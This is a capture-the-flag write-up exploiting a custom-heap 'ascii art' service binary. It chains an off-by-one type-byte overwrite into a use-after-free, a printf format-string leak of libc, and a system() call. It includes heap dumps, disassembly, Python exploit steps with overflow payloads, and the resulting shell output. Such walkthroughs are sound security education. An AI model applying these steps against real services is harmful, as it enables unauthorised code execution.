tl;dr 1 byte overwrite => use after free condition => information leak through a format string. Combined again with the first two steps to gain code execution via a controlled call to system().

We’re provided with a binary as well as an IP address and a port. Here’ an excerpt from running the binary:

welcome to the ascii art repository
1.) add ascii art
2.) browse ascii art
3.) select ascii art
0.) quit
> 1
0.) invert filter [default]
1.) LOLOLO filter
2.) case inversion filter
> 1
enter your ascii art >>>
1.) add ascii art
2.) browse ascii art
3.) select ascii art
0.) quit
> 3
enter ascii art id
> 1

1.) add comment
2.) remove all comments
3.) apply filter
0.) back
> 1
enter your comment for no. 1
> lalalalalalala

anonymous says: lalalalalalala

1.) add comment
2.) remove all comments
3.) apply filter
0.) back
> 3

anonymous says: lalalalalalala

1.) add comment
2.) remove all comments
3.) apply filter
0.) back

As you can see we can add some “ascii art” and then comment on it or apply a filter.

Custom heap and the structures

One remarkable property of the program is it’s custom heap implementation. It’s basically an array of pointers to memory blocks of size 4096 divided into 16 chunks of size 256 bytes each. The first byte of each chunk is used to store the type of the object inside it as well as whether the chunk is currently in use (1 bit set). The application will then request a free block, then request a free chunk inside that block.

Let’s take a look at the data structures. Here’s a memory dump of an ascii art structure with content ‘BBBB’

                             +-- type byte: ascii art, in use
0x804b008:      0x00000149 <-+  0x048c6000      0x42424208      0x00000a42

Skipping the first byte (heap meta data byte):

0x804b009:      0x00000001      0x08048c60      0x42424242      0x0000000a

Leading us to the following structure of the ascii art objects:

struct ascii_art {
    int id;
    void (*filter)(char* content);
    char[247] content;

Doing the same for the comments reveals the following structure:

struct comment {
    int ascii_art_id;
    char[251] content;

The vulnerability

Let’s take a look at the function responsible for creating new comments:

08048d70 8B45EC                          mov        eax, dword [ss:ebp+comment_ptr]
08048d73 83C004                          add        eax, 0x4
08048d76 83EC04                          sub        esp, 0x4
08048d79 68FC000000                      push       0xfc
08048d7e 50                              push       eax
08048d7f 6A00                            push       0x0
08048d81 E88AF6FFFF                      call       read@PLT

Now we can either do the math or look at the heap after submitting a comment of size 0xfc:

                             +-- type byte: comment, in use
0x804b108:      0x00000137 <-+  0x41414100      0x41414141      0x41414141
0x804b118:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b128:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b138:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b148:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b158:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b168:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b178:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b188:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b198:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b1a8:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b1b8:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b1c8:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b1d8:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b1e8:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b1f8:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b208:      0x00000041 <- ! 0x00000000      0x00000000      0x00000000

Notice the 0x41 in the last row? That’s already the start of the next chunk, it’s an off by one error and we have a one byte overflow!

EIP Control

The byte we are now controlling is the type byte of the next chunk. 0x48 indicates an ascii_art object and 0x36 indicates a comment. If the lsb is set the chunk is currently in use.

The way we can turn this bug into EIP control is by using it to construct a kind of use after free condition. We allocate an ascii art struct, “free” it, allocate a comment on top of it (remember, we control bytes 4-8 of the comment and thus the ‘filter’ function pointer of the ascii art struct still allocated there) and then apply the filter (after restoring the type of the chunk back to 0x49). The operations required to gain EIP control are thus as follows:

# allocate ascii art to add comments to
new_ascii_art(c, b'ossom_ascii_art')
# create placeholder comment, we'll later overflow from here
new_comment(c, 1, b'placeholder')
# allocate target struct
new_ascii_art(c, b'target')
# free first comment to allocate a new one in that spot
delete_all_comments(c, 1)
# overflow, mark the next chunk (2nd ascii_art) as free (1 bit not set)
new_comment(c, 1, 0xfb * b'A' + b'\x48')
# allocate a new comment on top of the 2nd ascii_art object
new_comment(c, 2, p(0x41414141))
# free the first comment a second time
delete_all_comments(c, 1)
# overflow again to change the type of the object back to 0x49 (ascii_art)
new_comment(c, 1, 0xfb * b'A' + b'\x49')
# cause the function pointer to be dereferenced
apply_filter(c, 2)

This works because the lookup function for an ascii_art object only cares about the type byte (0x48) but not about whether the chunk is actually in use. Result:

Program received signal SIGSEGV, Segmentation fault.
  EAX: 0x41414141  EBX: 0xF7F9B000  ECX: 0x00000000  EDX: 0x0804B211  odItSzApc
  ESI: 0x00000000  EDI: 0x080484D0  EBP: 0xFFFFD578  ESP: 0xFFFFD54C  EIP: 0x41414141
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B
0x41414141 in ?? ()


Constructing an information leak

So we can control EIP, but we don’t know where to jump yet. At this point we basically have two options:

  1. Perform a stack pivot and continue with a ROP payload
  2. Leak the address of system() and jump to (remember, the argument to the function is the pointer to the ascii_art whose content we control)

I went for the second option. The information leak works as follows:

As you probably know the first function call normally issued by an elf binary (from _start) is the call to __libc_start_main, which in turn calls main(). As such there’s a pointer on the stack pointing into libc. Now, since we control the function pointer and the first arguments content we can call printf() and put a format string to leak stack memory (%x of example) inside our ascii_art struct.

The last open question now is which libc version is running on the target. Running nmap against the server reveals that it’s running “SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-8”. That SSH version is the one used in Ubuntu 14.10 (src) which leaves us (assuming an up-to-date system) with the following two libc binaries: libc for i386 or libc for i386 on amd64. Comparing the leaked offset into __libc_start_main with the offsets in those two binaries reveals that it’s the latter one.

At this point we’re ready to finish the exploit. To recap, we will:

  1. Exploit the one byte overwrite to change the ‘filter’ function pointer of an ascii art struct to point to printf()
  2. Trigger the function pointer call, causing a call to printf with our format string, leaking the address of __libc_start_main+9
  3. Calculate the address of system(), we know the offsets since we have the libc binary
  4. Repeat step 1 to change the function pointer to point to system()
  5. Trigger

We can reuse the same ascii_art struct for both, printf() and system() by setting it’s content to e.g. ‘bash||%38$x’. This way it will serve as the format string and the payload for system().

And that’s it, reliable code execution from a one byte overwrite. Find the full exploit code here.

> ./
exploiting 1st time: leaking addr of system...
system() @ 0xf761e2b0
exploiting 2nd time: calling into system()...
uid=1000(user) gid=1000(user) groups=1000(user)
cd /home/user
cat flag

Got feedback, questions, comments? Hit me up on twitter or IRC (saelo on freenode) :)